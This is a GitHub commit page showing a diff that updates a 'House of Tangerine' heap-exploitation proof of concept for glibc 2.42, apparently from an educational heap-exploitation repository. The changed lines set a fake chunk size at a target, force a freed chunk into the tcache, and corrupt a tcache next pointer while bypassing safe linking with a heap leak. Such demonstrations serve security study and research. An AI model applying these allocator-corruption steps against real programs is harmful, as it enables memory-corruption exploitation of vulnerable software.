Skip to content

Commit 49a2c77

Browse files
committed
fix house_of_tangerine for 2.42
1 parent e41b820 commit 49a2c77

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

glibc_2.42/house_of_tangerine.c

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@
5454
*/
5555
int main() {
5656
size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;
57-
char win[0x10] = "WIN\0WIN\0WIN\0\x06\xfe\x1b\xe2";
57+
long win[2] __attribute__ ((aligned (0x10)));
5858
// disable buffering
5959
setvbuf(stdout, NULL, _IONBF, 0);
6060
setvbuf(stdin, NULL, _IONBF, 0);
@@ -74,7 +74,10 @@ int main() {
7474
printf("target tcache top size = 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);
7575

7676
// target is malloc aligned 0x10
77-
target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;
77+
// since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/
78+
// the size of the target chunk must be set
79+
target = (size_t) &win[0];
80+
win[1] = 0x41;
7881

7982
// probe the current size of the top_chunk,
8083
// can be skipped if it is already known or predictable
@@ -145,6 +148,10 @@ int main() {
145148
// free the previous top_chunk
146149
heap_ptr = malloc(SIZE_3);
147150

151+
// in glibc-2.42, the freed chunk will be directly added into fastbin, which is not
152+
// as good as in tcachebin, let's force it to be in tcache by taking it out and free it
153+
free(malloc(SIZE_1));
154+
148155
// corrupt next ptr into pointing to target
149156
// use a heap leak to bypass safe linking (GLIBC >= 2.32)
150157
heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);

0 commit comments

Comments
 (0)